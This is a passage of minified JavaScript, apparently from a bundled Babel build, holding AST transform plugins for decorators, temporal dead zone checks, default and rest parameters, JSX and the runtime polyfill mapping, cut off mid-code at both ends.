t=e.node,r=t.declaration.id||e.scope.generateUidIdentifier("default");t.declaration.id=r,e.replaceWith(t.declaration),e.insertAfter(v.exportNamedDeclaration(null,[v.exportSpecifier(r,v.identifier("default"))]))}},ClassDeclaration:function(e){var t=e.node,r=t.id||e.scope.generateUidIdentifier("class");e.replaceWith(v.variableDeclaration("let",[v.variableDeclarator(r,v.toExpression(t))]))},ClassExpression:function(e,t){var r=p(e)||d(e,t)||h(e,t);r&&e.replaceWith(r)},ObjectExpression:function(e,t){var r=p(e)||m(e,t);r&&e.replaceWith(r)},AssignmentExpression:function(e,t){t.initializerWarningHelper&&e.get("left").isMemberExpression()&&e.get("left.property").isIdentifier()&&e.get("right").isCallExpression()&&e.get("right.callee").isIdentifier({name:t.initializerWarningHelper.name})&&e.replaceWith(v.callExpression(n(e,t),[e.get("left.object").node,v.stringLiteral(e.get("left.property").node.name),e.get("right.arguments")[0].node,e.get("right.arguments")[1].node]))}}}};var n=r(4),i=function(e){return e&&e.__esModule?e:{default:e}}(n),s=(0,i.default)("\n  DECORATOR(CLASS_REF = INNER) || CLASS_REF;\n"),a=(0,i.default)("\n  CLASS_REF.prototype;\n"),o=(0,i.default)("\n    Object.getOwnPropertyDescriptor(TARGET, PROPERTY);\n"),u=(0,i.default)("\n    (TEMP = Object.getOwnPropertyDescriptor(TARGET, PROPERTY), (TEMP = TEMP ? TEMP.value : undefined), {\n        enumerable: true,\n        configurable: true,\n        writable: true,\n        initializer: function(){\n            return TEMP;\n        }\n    })\n"),l=(0,i.default)("\n    function NAME(descriptor, context){\n        throw new Error('Decorating class property failed. Please ensure that transform-class-properties is enabled.');\n    }\n"),c=(0,i.default)("\n    function NAME(target, property, descriptor, context){\n        if (!descriptor) return;\n\n        Object.defineProperty(target, property, {\n            enumerable: descriptor.enumerable,\n            configurable: descriptor.configurable,\n            writable: descriptor.writable,\n            value: descriptor.initializer ? descriptor.initializer.call(context) : void 0,\n        });\n    }\n"),f=(0,i.default)("\n    function NAME(target, property, decorators, descriptor, context){\n        var desc = {};\n        Object['ke' + 'ys'](descriptor).forEach(function(key){\n            desc[key] = descriptor[key];\n        });\n        desc.enumerable = !!desc.enumerable;\n        desc.configurable = !!desc.configurable;\n        if ('value' in desc || desc.initializer){\n            desc.writable = true;\n        }\n\n        desc = decorators.slice().reverse().reduce(function(desc, decorator){\n            return decorator(target, property, desc) || desc;\n        }, desc);\n\n        if (context && desc.initializer !== void 0){\n            desc.value = desc.initializer ? desc.initializer.call(context) : void 0;\n            desc.initializer = undefined;\n        }\n\n        if (desc.initializer === void 0){\n            // This is a hack to avoid this being processed by 'transform-runtime'.\n            // See issue #9.\n            Object['define' + 'Property'](target, property, desc);\n            desc = null;\n        }\n\n        return desc;\n    }\n")},function(e,t,r){"use strict";function n(e,t){var r=t._guessExecutionStatusRelativeTo(e);return"before"===r?"inside":"after"===r?"outside":"maybe"}function i(e,t){return o.callExpression(t.addHelper("temporalRef"),[e,o.stringLiteral(e.name),t.addHelper("temporalUndefined")])}function s(e,t,r){var n=r.letReferences[e.name];return!!n&&t.getBindingIdentifier(e.name)===n}t.__esModule=!0,t.visitor=void 0;var a=r(1),o=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(a);t.visitor={ReferencedIdentifier:function(e,t){if(this.file.opts.tdz){var r=e.node,a=e.parent,u=e.scope;if(!e.parentPath.isFor({left:r})&&s(r,u,t)){var l=u.getBinding(r.name).path,c=n(e,l);if("inside"!==c)if("maybe"===c){var f=i(r,t.file);if(l.parent._tdzThis=!0,e.skip(),e.parentPath.isUpdateExpression()){if(a._ignoreBlockScopingTDZ)return;e.parentPath.replaceWith(o.sequenceExpression([f,a]))}else e.replaceWith(f)}else"outside"===c&&e.replaceWith(o.throwStatement(o.inherits(o.newExpression(o.identifier("ReferenceError"),[o.stringLiteral(r.name+" is not defined - temporal dead zone")]),r)))}}},AssignmentExpression:{exit:function(e,t){if(this.file.opts.tdz){var r=e.node;if(!r._ignoreBlockScopingTDZ){var n=[],a=e.getBindingIdentifiers();for(var u in a){var l=a[u];s(l,e.scope,t)&&n.push(i(l,t.file))}n.length&&(r._ignoreBlockScopingTDZ=!0,n.push(r),e.replaceWithMultiple(n.map(o.expressionStatement)))}}}}}},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(3),s=n(i),a=r(42),o=n(a),u=r(41),l=n(u),c=r(40),f=n(c),p=r(207),d=n(p),h=r(1),m=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(h),y=function(e){function t(){(0,s.default)(this,t);var r=(0,o.default)(this,e.apply(this,arguments));return r.isLoose=!0,r}return(0,l.default)(t,e),t.prototype._processMethod=function(e,t){if(!e.decorators){var r=this.classRef;e.static||(r=m.memberExpression(r,m.identifier("prototype")));var n=m.memberExpression(r,e.key,e.computed||m.isLiteral(e.key)),i=m.functionExpression(null,e.params,e.body,e.generator,e.async);i.returnType=e.returnType;var s=m.toComputedKey(e,e.key);m.isStringLiteral(s)&&(i=(0,f.default)({node:i,id:s,scope:t}));var a=m.expressionStatement(m.assignmentExpression("=",n,i));return m.inheritsComments(a,e),this.body.push(a),!0}},t}(d.default);t.default=y,e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(e){var t=e.types;return{visitor:{BinaryExpression:function(e){var r=e.node;"instanceof"===r.operator&&e.replaceWith(t.callExpression(this.addHelper("instanceof"),[r.left,r.right]))}}}},e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){for(var t=e.params,r=Array.isArray(t),n=0,t=r?t:(0,o.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}var s=i;if(!m.isIdentifier(s))return!0}return!1}function s(e,t){if(!e.hasOwnBinding(t.name))return!0;var r=e.getOwnBinding(t.name),n=r.kind;return"param"===n||"local"===n}t.__esModule=!0,t.visitor=void 0;var a=r(2),o=n(a),u=r(189),l=n(u),c=r(317),f=n(c),p=r(4),d=n(p),h=r(1),m=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(h),y=(0,d.default)("\n  let VARIABLE_NAME =\n    ARGUMENTS.length > ARGUMENT_KEY && ARGUMENTS[ARGUMENT_KEY] !== undefined ?\n      ARGUMENTS[ARGUMENT_KEY]\n    :\n      DEFAULT_VALUE;\n"),v=(0,d.default)("\n  let $0 = $1[$2];\n"),g={ReferencedIdentifier:function(e,t){var r=e.scope,n=e.node;"eval"!==n.name&&s(r,n)||(t.iife=!0,e.stop())},Scope:function(e){e.skip()}};t.visitor={Function:function(e){var t=e.node,r=e.scope;if(i(t)){e.ensureBlock();var n={iife:!1,scope:r},a=[],o=m.identifier("arguments");o._shadowedFunctionLiteral=e;for(var u=(0,l.default)(t),c=e.get("params"),p=0;p<c.length;p++){var d=c[p];if(d.isAssignmentPattern()){var h=d.get("left"),b=d.get("right");if(p>=u||h.isPattern()){var E=r.generateUidIdentifier("x");E._isDefaultPlaceholder=!0,t.params[p]=E}else t.params[p]=h.node;n.iife||(b.isIdentifier()&&!s(r,b.node)?n.iife=!0:b.traverse(g,n)),function(e,r,n){var i=y({VARIABLE_NAME:e,DEFAULT_VALUE:r,ARGUMENT_KEY:m.numericLiteral(n),ARGUMENTS:o});i._blockHoist=t.params.length-n,a.push(i)}(h.node,b.node,p)}else n.iife||d.isIdentifier()||d.traverse(g,n)}for(var x=u+1;x<t.params.length;x++){var A=t.params[x];if(!A._isDefaultPlaceholder){var S=v(A,o,m.numericLiteral(x));S._blockHoist=t.params.length-x,a.push(S)}}t.params=t.params.slice(0,u),n.iife?(a.push((0,f.default)(e,r)),e.set("body",m.blockStatement(a))):e.get("body").unshiftContainer("body",a)}}}},function(e,t,r){"use strict";t.__esModule=!0,t.visitor=void 0;var n=r(1),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(n);t.visitor={Function:function(e){for(var t=e.get("params"),r=i.isRestElement(t[t.length-1])?1:0,n=t.length-r,s=0;s<n;s++){var a=t[s];if(a.isArrayPattern()||a.isObjectPattern()){var o=e.scope.generateUidIdentifier("ref"),u=i.variableDeclaration("let",[i.variableDeclarator(a.node,o)]);u._blockHoist=n-s,e.ensureBlock(),e.get("body").unshiftContainer("body",u),a.replaceWith(o)}}}}},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){return p.isRestElement(e.params[e.params.length-1])}function s(e,t,r){var n=void 0;n=p.isNumericLiteral(e.parent.property)?p.numericLiteral(e.parent.property.value+r):0===r?e.parent.property:p.binaryExpression("+",e.parent.property,p.numericLiteral(r));var i=e.scope;if(i.isPure(n))e.parentPath.replaceWith(h({ARGUMENTS:t,INDEX:n}));else{var s=i.generateUidIdentifierBasedOnNode(n);i.push({id:s,kind:"var"}),e.parentPath.replaceWith(m({ARGUMENTS:t,INDEX:n,REF:s}))}}function a(e,t,r){r?e.parentPath.replaceWith(y({ARGUMENTS:t,OFFSET:p.numericLiteral(r)})):e.replaceWith(t)}t.__esModule=!0,t.visitor=void 0;var o=r(2),u=n(o),l=r(4),c=n(l),f=r(1),p=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(f),d=(0,c.default)("\n  for (var LEN = ARGUMENTS.length,\n           ARRAY = Array(ARRAY_LEN),\n           KEY = START;\n       KEY < LEN;\n       KEY++) {\n    ARRAY[ARRAY_KEY] = ARGUMENTS[KEY];\n  }\n"),h=(0,c.default)("\n  ARGUMENTS.length <= INDEX ? undefined : ARGUMENTS[INDEX]\n"),m=(0,c.default)("\n  REF = INDEX, ARGUMENTS.length <= REF ? undefined : ARGUMENTS[REF]\n"),y=(0,c.default)("\n  ARGUMENTS.length <= OFFSET ? 0 : ARGUMENTS.length - OFFSET\n"),v={Scope:function(e,t){e.scope.bindingIdentifierEquals(t.name,t.outerBinding)||e.skip()},Flow:function(e){e.isTypeCastExpression()||e.skip()},"Function|ClassProperty":function(e,t){var r=t.noOptimise;t.noOptimise=!0,e.traverse(v,t),t.noOptimise=r,e.skip()},ReferencedIdentifier:function(e,t){var r=e.node;if("arguments"===r.name&&(t.deopted=!0),r.name===t.name)if(t.noOptimise)t.deopted=!0;else{var n=e.parentPath;if("params"===n.listKey&&n.key<t.offset)return;if(n.isMemberExpression({object:r})){var i=n.parentPath,s=!t.deopted&&!(i.isAssignmentExpression()&&n.node===i.node.left||i.isLVal()||i.isForXStatement()||i.isUpdateExpression()||i.isUnaryExpression({operator:"delete"})||(i.isCallExpression()||i.isNewExpression())&&n.node===i.node.callee);if(s)if(n.node.computed){if(n.get("property").isBaseType("number"))return void t.candidates.push({cause:"indexGetter",path:e})}else if("length"===n.node.property.name)return void t.candidates.push({cause:"lengthGetter",path:e})}if(0===t.offset&&n.isSpreadElement()){var a=n.parentPath;if(a.isCallExpression()&&1===a.node.arguments.length)return void t.candidates.push({cause:"argSpread",path:e})}t.references.push(e)}},BindingIdentifier:function(e,t){e.node.name===t.name&&(t.deopted=!0)}};t.visitor={Function:function(e){var t=e.node,r=e.scope;if(i(t)){var n=t.params.pop().argument,o=p.identifier("arguments");o._shadowedFunctionLiteral=e;var l={references:[],offset:t.params.length,argumentsNode:o,outerBinding:r.getBindingIdentifier(n.name),candidates:[],name:n.name,deopted:!1};if(e.traverse(v,l),l.deopted||l.references.length){l.references=l.references.concat(l.candidates.map(function(e){return e.path})),l.deopted=l.deopted||!!t.shadow;var c=p.numericLiteral(t.params.length),f=r.generateUidIdentifier("key"),h=r.generateUidIdentifier("len"),m=f,y=h;t.params.length&&(m=p.binaryExpression("-",f,c),y=p.conditionalExpression(p.binaryExpression(">",h,c),p.binaryExpression("-",h,c),p.numericLiteral(0)));var g=d({ARGUMENTS:o,ARRAY_KEY:m,ARRAY_LEN:y,START:c,ARRAY:n,KEY:f,LEN:h});if(l.deopted)g._blockHoist=t.params.length+1,t.body.body.unshift(g);else{g._blockHoist=1;var b=e.getEarliestCommonAncestorFrom(l.references).getStatementParent();b.findParent(function(e){if(!e.isLoop())return e.isFunction();b=e}),b.insertBefore(g)}}else for(var E=l.candidates,x=Array.isArray(E),A=0,E=x?E:(0,u.default)(E);;){var S;if(x){if(A>=E.length)break;S=E[A++]}else{if(A=E.next(),A.done)break;S=A.value}var _=S,D=_.path,C=_.cause;switch(C){case"indexGetter":s(D,o,l.offset);break;case"lengthGetter":a(D,o,l.offset);break;default:D.replaceWith(o)}}}}}},function(e,t){"use strict";t.__esModule=!0,t.default=function(e){var t=e.types;return{visitor:{MemberExpression:{exit:function(e){var r=e.node,n=r.property;r.computed||!t.isIdentifier(n)||t.isValidIdentifier(n.name)||(r.property=t.stringLiteral(n.name),r.computed=!0)}}}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(e){var t=e.types;return{visitor:{ObjectProperty:{exit:function(e){var r=e.node,n=r.key;r.computed||!t.isIdentifier(n)||t.isValidIdentifier(n.name)||(r.key=t.stringLiteral(n.name))}}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(2),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e){var t=e.types;return{visitor:{ObjectExpression:function(e,r){for(var n=e.node,s=!1,o=n.properties,u=Array.isArray(o),l=0,o=u?o:(0,i.default)(o);;){var c;if(u){if(l>=o.length)break;c=o[l++]}else{if(l=o.next(),l.done)break;c=l.value}var f=c;if("get"===f.kind||"set"===f.kind){s=!0;break}}if(s){var p={};n.properties=n.properties.filter(function(e){return!!(e.computed||"get"!==e.kind&&"set"!==e.kind)||(a.push(p,e,null,r),!1)}),e.replaceWith(t.callExpression(t.memberExpression(t.identifier("Object"),t.identifier("defineProperties")),[n,a.toDefineObject(p)]))}}}}};var s=r(188),a=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(s);e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(e){var t=e.parse,r=e.traverse;return{visitor:{CallExpression:function(e){if(e.get("callee").isIdentifier({name:"eval"})&&1===e.node.arguments.length){var n=e.get("arguments")[0].evaluate();if(!n.confident)return;var i=n.value;if("string"!=typeof i)return;var s=t(i);return r.removeProperties(s),s.program}}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){function t(e,t){e.addComment("trailing",n(e,t)),e.replaceWith(i.noop())}function n(e,t){var r=e.getSource().replace(/\*-\//g,"*-ESCAPED/").replace(/\*\//g,"*-/");return t&&t.optional&&(r="?"+r),":"!==r[0]&&(r=":: "+r),r}var i=e.types;return{inherits:r(126),visitor:{TypeCastExpression:function(e){var t=e.node;e.get("expression").addComment("trailing",n(e.get("typeAnnotation"))),e.replaceWith(i.parenthesizedExpression(t.expression))},Identifier:function(e){var t=e.node;t.optional&&!t.typeAnnotation&&e.addComment("trailing",":: ?")},AssignmentPattern:{exit:function(e){e.node.left.optional=!1}},Function:{exit:function(e){e.node.params.forEach(function(e){return e.optional=!1})}},ClassProperty:function(e){var r=e.node,n=e.parent;r.value||t(e,n)},"ExportNamedDeclaration|Flow":function(e){var r=e.node,n=e.parent;i.isExportNamedDeclaration(r)&&!i.isFlow(r.declaration)||t(e,n)},ImportDeclaration:function(e){var r=e.node,n=e.parent;i.isImportDeclaration(r)&&"type"!==r.importKind&&"typeof"!==r.importKind||t(e,n)}}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(e){var t=e.types;return{visitor:{FunctionExpression:{exit:function(e){var r=e.node;r.id&&(r._ignoreUserWhitespace=!0,e.replaceWith(t.callExpression(t.functionExpression(null,[],t.blockStatement([t.toStatement(r),t.returnStatement(r.id)])),[])))}}}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{visitor:{CallExpression:function(e,t){e.get("callee").matchesPattern("Object.assign")&&(e.node.callee=t.addHelper("extends"))}}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{visitor:{CallExpression:function(e,t){e.get("callee").matchesPattern("Object.setPrototypeOf")&&(e.node.callee=t.addHelper("defaults"))}}}},e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(2),s=n(i);t.default=function(e){function t(e){return i.isLiteral(i.toComputedKey(e,e.key),{value:"__proto__"})}function r(e){var t=e.left;return i.isMemberExpression(t)&&i.isLiteral(i.toComputedKey(t,t.property),{value:"__proto__"})}function n(e,t,r){return i.expressionStatement(i.callExpression(r.addHelper("defaults"),[t,e.right]))}var i=e.types;return{visitor:{AssignmentExpression:function(e,t){if(r(e.node)){var s=[],a=e.node.left.object,o=e.scope.maybeGenerateMemoised(a);o&&s.push(i.expressionStatement(i.assignmentExpression("=",o,a))),s.push(n(e.node,o||a,t)),o&&s.push(o),e.replaceWithMultiple(s)}},ExpressionStatement:function(e,t){var s=e.node.expression;i.isAssignmentExpression(s,{operator:"="})&&r(s)&&e.replaceWith(n(s,s.left.object,t))},ObjectExpression:function(e,r){for(var n=void 0,a=e.node,u=a.properties,l=Array.isArray(u),c=0,u=l?u:(0,s.default)(u);;){var f;if(l){if(c>=u.length)break;f=u[c++]}else{if(c=u.next(),c.done)break;f=c.value}var p=f;t(p)&&(n=p.value,(0,o.default)(a.properties,p))}if(n){var d=[i.objectExpression([]),n];a.properties.length&&d.push(a),e.replaceWith(i.callExpression(r.addHelper("extends"),d))}}}}};var a=r(277),o=n(a);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(11),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e){var t=e.types,r={enter:function(e,r){var n=function(){r.isImmutable=!1,e.stop()};if(e.isJSXClosingElement())return void e.skip();if(e.isJSXIdentifier({name:"ref"})&&e.parentPath.isJSXAttribute({name:e.node}))return n();if(!(e.isJSXIdentifier()||e.isIdentifier()||e.isJSXMemberExpression()||e.isImmutable())){if(e.isPure()){var s=e.evaluate();if(s.confident){var a=s.value;if(!(a&&"object"===(void 0===a?"undefined":(0,i.default)(a))||"function"==typeof a))return}else if(t.isIdentifier(s.deopt))return}n()}}};return{visitor:{JSXElement:function(e){if(!e.node._hoisted){var t={isImmutable:!0};e.traverse(r,t),t.isImmutable?e.hoist():e.node._hoisted=!0}}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(2),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e){function t(e){for(var t=0;t<e.length;t++){var n=e[t];if(s.isJSXSpreadAttribute(n))return!0;if(r(n,"ref"))return!0}return!1}function r(e,t){return s.isJSXAttribute(e)&&s.isJSXIdentifier(e.name,{name:t})}function n(e){var t=e.value;return t?(s.isJSXExpressionContainer(t)&&(t=t.expression),t):s.identifier("true")}var s=e.types;return{visitor:{JSXElement:function(e,a){var o=e.node,u=o.openingElement;if(!t(u.attributes)){var l=s.objectExpression([]),c=null,f=u.name;s.isJSXIdentifier(f)&&s.react.isCompatTag(f.name)&&(f=s.stringLiteral(f.name));for(var p=u.attributes,d=Array.isArray(p),h=0,p=d?p:(0,i.default)(p);;){var m;if(d){if(h>=p.length)break;m=p[h++]}else{if(h=p.next(),h.done)break;m=h.value}var y=m;if(r(y,"key"))c=n(y);else{var v=y.name.name,g=s.isValidIdentifier(v)?s.identifier(v):s.stringLiteral(v);!function(e,t,r){e.push(s.objectProperty(t,r))}(l.properties,g,n(y))}}var b=[f,l];if(c||o.children.length){var E=s.react.buildChildren(o);b.push.apply(b,[c||s.unaryExpression("void",s.numericLiteral(0),!0)].concat(E))}var x=s.callExpression(a.addHelper("jsx"),b);e.replaceWith(x)}}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){var t=e.types;return{manipulateOptions:function(e,t){t.plugins.push("jsx")},visitor:(0,i.default)({pre:function(e){e.callee=e.tagExpr},post:function(e){t.react.isCompatTag(e.tagName)&&(e.call=t.callExpression(t.memberExpression(t.memberExpression(t.identifier("React"),t.identifier("DOM")),e.tagExpr,t.isLiteral(e.tagExpr)),e.args))}})}};var n=r(348),i=function(e){return e&&e.__esModule?e:{default:e}}(n);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){function t(e,r){if(a.isJSXIdentifier(e)){if("this"===e.name&&a.isReferenced(e,r))return a.thisExpression();if(!i.default.keyword.isIdentifierNameES6(e.name))return a.stringLiteral(e.name);e.type="Identifier"}else if(a.isJSXMemberExpression(e))return a.memberExpression(t(e.object,e),t(e.property,e));return e}function r(e){return a.isJSXExpressionContainer(e)?e.expression:e}function n(e){var t=r(e.value||a.booleanLiteral(!0));return a.isStringLiteral(t)&&!a.isJSXExpressionContainer(e.value)&&(t.value=t.value.replace(/\n\s+/g," ")),a.isValidIdentifier(e.name.name)?e.name.type="Identifier":e.name=a.stringLiteral(e.name.name),a.inherits(a.objectProperty(e.name,t),e)}function s(r,n){r.parent.children=a.react.buildChildren(r.parent);var i=t(r.node.name,r.node),s=[],u=void 0;a.isIdentifier(i)?u=i.name:a.isLiteral(i)&&(u=i.value);var l={tagExpr:i,tagName:u,args:s};e.pre&&e.pre(l,n);var c=r.node.attributes;return c=c.length?o(c,n):a.nullLiteral(),s.push(c),e.post&&e.post(l,n),l.call||a.callExpression(l.callee,s)}function o(e,t){function r(){i.length&&(s.push(a.objectExpression(i)),i=[])}var i=[],s=[],o=t.opts.useBuiltIns||!1;if("boolean"!=typeof o)throw new Error("transform-react-jsx currently only accepts a boolean option for useBuiltIns (defaults to false)");for(;e.length;){var u=e.shift();a.isJSXSpreadAttribute(u)?(r(),s.push(u.argument)):i.push(n(u))}if(r(),1===s.length)e=s[0];else{a.isObjectExpression(s[0])||s.unshift(a.objectExpression([]));var l=o?a.memberExpression(a.identifier("Object"),a.identifier("assign")):t.addHelper("extends");e=a.callExpression(l,s)}return e}var u={};return u.JSXNamespacedName=function(e){throw e.buildCodeFrameError("Namespace tags are not supported. ReactJSX is not XML.")},u.JSXElement={exit:function(e,t){var r=s(e.get("openingElement"),t);r.arguments=r.arguments.concat(e.node.children),r.arguments.length>=3&&(r._prettyCall=!0),e.replaceWith(a.inherits(r,e.node))}},u};var n=r(97),i=function(e){return e&&e.__esModule?e:{default:e}}(n),s=r(1),a=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(s);e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(e){var t=e.types;return{visitor:{JSXOpeningElement:function(e){var n=e.node,i=t.jSXIdentifier(r),s=t.thisExpression();n.attributes.push(t.jSXAttribute(i,t.jSXExpressionContainer(s)))}}}};var r="__self";e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(e){function t(e,t){var r=null!=t?i.numericLiteral(t):i.nullLiteral(),n=i.objectProperty(i.identifier("fileName"),e),s=i.objectProperty(i.identifier("lineNumber"),r);return i.objectExpression([n,s])}var i=e.types;return{visitor:{JSXOpeningElement:function(e,s){var a=i.jSXIdentifier(r),o=e.container.openingElement.loc;if(o){for(var u=e.container.openingElement.attributes,l=0;l<u.length;l++){var c=u[l].name;if(c&&c.name===r)return}if(!s.fileNameIdentifier){var f="unknown"!==s.file.log.filename?s.file.log.filename:null,p=e.scope.generateUidIdentifier(n);e.hub.file.scope.push({id:p,init:i.stringLiteral(f)}),s.fileNameIdentifier=p}var d=t(s.fileNameIdentifier,o.start.line);u.push(i.jSXAttribute(a,i.jSXExpressionContainer(d)))}}}}};var r="__source",n="_jsxFileName";e.exports=t.default},348,function(e,t){"use strict";e.exports={builtins:{Symbol:"symbol",Promise:"promise",Map:"map",WeakMap:"weak-map",Set:"set",WeakSet:"weak-set",Observable:"observable",setImmediate:"set-immediate",clearImmediate:"clear-immediate",asap:"asap"},methods:{Array:{concat:"array/concat",copyWithin:"array/copy-within",entries:"array/entries",every:"array/every",fill:"array/fill",filter:"array/filter",findIndex:"array/find-index",find:"array/find",forEach:"array/for-each",from:"array/from",includes:"array/includes",indexOf:"array/index-of",join:"array/join",keys:"array/keys",lastIndexOf:"array/last-index-of",map:"array/map",of:"array/of",pop:"array/pop",push:"array/push",reduceRight:"array/reduce-right",reduce:"array/reduce",reverse:"array/reverse",shift:"array/shift",slice:"array/slice",some:"array/some",sort:"array/sort",splice:"array/splice",unshift:"array/unshift",values:"array/values"},JSON:{stringify:"json/stringify"},Object:{assign:"object/assign",create:"object/create",defineProperties:"object/define-properties",defineProperty:"object/define-property",entries:"object/entries",freeze:"object/freeze",getOwnPropertyDescriptor:"object/get-own-property-descriptor",getOwnPropertyDescriptors:"object/get-own-property-descriptors",getOwnPropertyNames:"object/get-own-property-names",getOwnPropertySymbols:"object/get-own-property-symbols",getPrototypeOf:"object/get-prototype-of",isExtensible:"object/is-extensible",isFrozen:"object/is-frozen",isSealed:"object/is-sealed",is:"object/is",keys:"object/keys",preventExtensions:"object/prevent-extensions",seal:"object/seal",setPrototypeOf:"object/set-prototype-of",values:"object/values"},RegExp:{escape:"regexp/escape"},Math:{acosh:"math/acosh",asinh:"math/asinh",atanh:"math/atanh",cbrt:"math/cbrt",clz32:"math/clz32",cosh:"math/cosh",expm1:"math/expm1",fround:"math/fround",hypot:"math/hypot",imul:"math/imul",log10:"math/log10",log1p:"math/log1p",log2:"math/log2",sign:"math/sign",sinh:"math/sinh",tanh:"math/tanh",trunc:"math/trunc",iaddh:"math/iaddh",isubh:"math/isubh",imulh:"math/imulh",umulh:"math/umulh"},Symbol:{for:"symbol/for",hasInstance:"symbol/has-instance",isConcatSpreadable:"symbol/is-concat-spreadable",iterator:"symbol/iterator",keyFor:"symbol/key-for",match:"symbol/match",replace:"symbol/replace",search:"symbol/search",species:"symbol/species",split:"symbol/split",toPrimitive:"symbol/to-primitive",toStringTag:"symbol/to-string-tag",unscopables:"symbol/unscopables"},String:{at:"string/at",codePointAt:"string/code-point-at",endsWith:"string/ends-with",fromCodePoint:"string/from-code-point",includes:"string/includes",matchAll:"string/match-all",padLeft:"string/pad-left",padRight:"string/pad-right",padStart:"string/pad-start",padEnd:"string/pad-end",raw:"string/raw",repeat:"string/repeat",startsWith:"string/starts-with",trim:"string/trim",trimLeft:"string/trim-left",trimRight:"string/trim-right",trimStart:"string/trim-start",trimEnd:"string/trim-end"},Number:{EPSILON:"number/epsilon",isFinite:"number/is-finite",isInteger:"number/is-integer",isNaN:"number/is-nan",isSafeInteger:"number/is-safe-integer",MAX_SAFE_INTEGER:"number/max-safe-integer",MIN_SAFE_INTEGER:"number/min-safe-integer",parseFloat:"number/parse-float",parseInt:"number/parse-int"},Reflect:{apply:"reflect/apply",construct:"reflect/construct",defineProperty:"reflect/define-property",deleteProperty:"reflect/delete-property",enumerate:"reflect/enumerate",getOwnPropertyDescriptor:"reflect/get-own-property-descriptor",getPrototypeOf:"reflect/get-prototype-of",get:"reflect/get",has:"reflect/has",isExtensible:"reflect/is-extensible",ownKeys:"reflect/own-keys",preventExtensions:"reflect/prevent-extensions",setPrototypeOf:"reflect/set-prototype-of",set:"reflect/set",defineMetadata:"reflect/define-metadata",deleteMetadata:"reflect/delete-metadata",getMetadata:"reflect/get-metadata",getMetadataKeys:"reflect/get-metadata-keys",getOwnMetadata:"reflect/get-own-metadata",getOwnMetadataKeys:"reflect/get-own-metadata-keys",hasMetadata:"reflect/has-metadata",hasOwnMetadata:"reflect/has-own-metadata",metadata:"reflect/metadata"},System:{global:"system/global"},Error:{isError:"error/is-error"},Date:{},Function:{}}}},function(e,t,r){"use strict";t.__esModule=!0,t.definitions=void 0,t.default=function(e){function t(e){return e.moduleName||"babel-runtime"}function r(e,t){return Object.prototype.hasOwnProperty.call(e,t)}var n=e.types,s=["interopRequireWildcard","interopRequireDefault"];return{pre:function(e){var r=t(this.opts);!1!==this.opts.helpers&&e.set("helperGenerator",function(t){if(s.indexOf(t)<0)return e.addImport(r+"/helpers/"+t,"default",t)}),this.setDynamic("regeneratorIdentifier",function(){return e.addImport(r+"/regenerator","default","regeneratorRuntime")})},visitor:{ReferencedIdentifier:function(e,s){var a=e.node,o=e.parent,u=e.scope;if("regeneratorRuntime"===a.name&&!1!==s.opts.regenerator)return void e.replaceWith(s.get("regeneratorIdentifier"));if(!1!==s.opts.polyfill&&!n.isMemberExpression(o)&&r(i.default.builtins,a.name)&&!u.getBindingIdentifier(a.name)){var l=t(s.opts);e.replaceWith(s.addImport(l+"/core-js/"+i.default.builtins[a.name],"default",a.name))}},CallExpression:function(e,r){if(!1!==r.opts.polyfill&&!e.node.arguments.length){var i=e.node.callee;if(n.isMemberExpression(i)&&i.computed&&e.get("callee.property").matchesPattern("Symbol.iterator")){var s=t(r.opts);e.replaceWith(n.callExpression(r.addImport(s+"/core-js/get-iterator","default","getIterator"),[i.object]))}}},BinaryExpression:function(e,r){if(!1!==r.opts.polyfill&&"in"===e.node.operator&&e.get("left").matchesPattern("Symbol.iterator")){var i=t(r.opts);e.replaceWith(n.callExpression(r.addImport(i+"/core-js/is-iterable","default","isIterable"),[e.node.right]))}},MemberExpression:{enter:function(e,s){if(!1!==s.opts.polyfill&&e.isReferenced()){var 